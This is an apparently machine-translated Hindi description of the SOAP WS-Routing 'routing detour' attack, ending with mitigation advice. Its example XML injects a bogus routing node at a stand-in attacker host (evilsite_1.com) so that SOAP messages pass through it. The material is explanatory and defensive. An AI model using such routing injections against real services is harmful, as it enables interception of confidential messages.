SOAP रूटिंग वल्नरेबिलिटी का पता लगाता है

विवरण

डब्ल्यूएस-राउटिंग प्रोटोकॉल एक प्रारंभिक संदेश प्रेषक से रिसीवर तक एसओएपी संदेशों के आदान-प्रदान के लिए एक प्रोटोकॉल है, आमतौर पर मध्यस्थों के एक सेट के माध्यम से। WS- रूटिंग प्रोटोकॉल को SOAP एक्सटेंशन के रूप में लागू किया गया है, और SOAP हैडर में एम्बेडेड है। डब्लूएस-राउटिंग का इस्तेमाल अक्सर एक्सएमएल पथ में अंतरिम रास्ता स्टेशनों को एक्सएमएल दस्तावेज़ को रूट करने के लिए अनुमति देकर जटिल वातावरण और लेनदेन के माध्यम से एक्सएमएल ट्रैफ़िक को निर्देशित करने के लिए किया जाता है।

एक न्यूनतम दृष्टिकोण लेते हुए, WS- राउटिंग एक SOAP संदेश के भीतर एक संदेश पथ संलग्न करता है, ताकि संदेश का समर्थन करते हुए टीसीपी और यूडीपी जैसे परिवहन का उपयोग करते हुए इंटरनेट पर पर्याप्त जानकारी भेजी जाए:

• SOAP संदेश पथ मॉडल,
• पूर्ण-द्वैध, एक-तरफ़ा संदेश पैटर्न,
• पूर्ण-द्वैध, अनुरोध-प्रतिक्रिया संदेश पैटर्न और
• संदेश सहसंबंध।

राउटिंग डेटर्स एक प्रकार का "मैन इन द मिडल" हमला है, जहां बिचौलियों को बाहर के स्थान पर संवेदनशील संदेश भेजने के लिए बिचौलियों को इंजेक्शन या "अपहृत" किया जा सकता है। रूटिंग जानकारी (या तो HTTP हेडर में या WS- राउटिंग हेडर में) को संशोधित किया जा सकता है और मार्ग के निशान को हेडर और संदेश से हटाया जा सकता है जैसे कि प्राप्त करने वाला एप्लिकेशन कोई भी समझदार नहीं जो रूटिंग चक्कर उत्पन्न हुआ हो।

प्राथमिक मुद्दा

अन्वेषक चरण में पहचाने गए SOAP संदेश के XML शीर्षलेख के राउटिंग टेबल में हमलावर एक फर्जी राउटिंग नोड (एक WS-रेफरल सेवा का उपयोग करके) को इंजेक्ट करता है। इस प्रकार, हमलावर XML संदेश को हमलावर नियंत्रित नोड पर भेज सकता है (और संदेश सामग्री तक पहुंच सकता है)

बोगस नोड मार्ग के WS-Referral आधारित WS- रूटिंग इंजेक्शन का उदाहरण

<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref> 

परिणामी रूटिंग डेटोर हमले

 <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> 

परिणाम

इस प्रकार, राउटिंग डेटौर का उपयोग करते हुए, हमलावर एक्सएमएल संदेश को हैकर नियंत्रित नोड (और संदेश सामग्री तक पहुंच) को रूट कर सकता है।

सामान्य उपशमन

डिज़ाइन: अनुरोध के लिए अधिकतम संख्या मध्यवर्ती नोड्स निर्दिष्ट करें और पारस्परिक प्रमाणीकरण के साथ एसएसएल कनेक्शन की आवश्यकता होती है।

कार्यान्वयन: पारस्परिक प्रमाणीकरण वाले सभी दलों के कनेक्शन के लिए एसएसएल का उपयोग करें